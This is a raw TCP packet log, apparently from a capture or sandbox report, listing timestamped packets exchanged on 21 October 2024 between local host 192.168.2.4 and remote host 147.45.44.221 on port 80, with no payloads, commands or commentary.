Oct 21, 2024 08:47:29.738991976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.738996983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739026070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739032984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739058971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739068031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739094019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739099979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739126921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739145041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739161015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739172935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739195108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739203930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739229918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739238024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739263058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739270926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739296913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739304066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739331007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739340067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739365101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739373922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739407063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739433050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739466906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739479065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739501953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739511013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739536047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739542961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739569902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739578009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739603996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739609957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739638090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739646912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739672899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.739681959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.739718914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.854739904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.854794979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.854799986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.854844093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.854856014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.854897976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.854904890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.854945898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.854958057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.854985952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855003119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855031013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855056047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855106115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855109930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855149984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855159998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855201960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855211020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855238914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855259895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855276108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855292082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855325937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855339050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855370045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855380058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855424881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855477095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855509996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855535984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855545044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855566978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855597973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855597973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855642080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855668068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855698109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855709076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855739117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855747938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855792046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855799913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855833054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855838060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855879068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855885029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855916977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.855932951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855956078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.855969906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856002092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856018066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856035948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856045961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856074095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856089115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856127024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856142044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856175900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856189966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856215954 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856226921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856256962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856272936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856303930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856306076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856352091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856355906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856388092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856398106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856426001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856431961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856455088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856465101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856494904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856496096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856529951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856534958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856563091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856571913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856597900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856607914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856645107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856648922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856688023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856689930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856726885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856731892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856761932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856781006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856817007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856832981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856870890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856870890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856918097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856923103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.856964111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.856973886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857004881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857014894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857038975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857047081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857079983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857089996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857124090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857134104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857165098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857177019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857213020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857223034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857242107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857254028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857280970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857292891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857330084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857336998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857372046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857378960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857414007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857422113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857446909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857467890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857487917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857497931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857531071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857541084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857564926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857572079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857594967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857614040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857629061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857637882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857664108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857673883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857705116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857712984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857744932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857757092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857783079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857794046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857825994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857841969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857865095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857876062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857908964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857923031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857949018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.857955933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.857990026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858001947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858036041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858041048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858072996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858084917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858104944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858114958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858139038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858144045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858167887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858182907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858208895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858217955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858253956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858262062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858310938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858318090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858351946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858366013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858385086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858396053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858422995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858433008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858452082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858465910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858486891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858493090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858520031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858532906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858557940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858561993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858592987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858599901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858625889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858638048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858660936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858668089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858705044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858781099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858814955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858823061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858844995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858858109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858879089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858885050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858911037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858921051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858939886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858949900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.858971119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.858977079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859004021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859014034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859033108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859045029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859065056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859070063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859098911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859108925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859127998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859139919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859162092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859167099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859195948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859203100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859229088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859240055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859268904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859272003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859298944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859313011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859332085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859339952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859366894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859376907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859411955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859432936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859467983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859477997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859502077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859510899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859536886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859543085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859570980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859580040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859605074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859615088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859637976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859649897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859671116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859677076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859700918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859710932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859735966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859749079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859769106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859780073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859803915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859811068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859838009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859852076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859874010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859879971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859909058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859918118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859942913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859952927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.859972000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.859982967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.860006094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.860013962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.860039949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.860049009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.860071898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.860079050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.860105991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.860116005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.860140085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.860148907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.860183001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974152088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974241018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974241972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974288940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974298954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974332094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974343061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974366903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974374056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974400997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974411964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974435091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974446058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974468946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974477053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974503040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974509001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974541903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974555016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974589109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974600077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974618912 CEST	80	49732	147.45.44.221	192.168.2.4
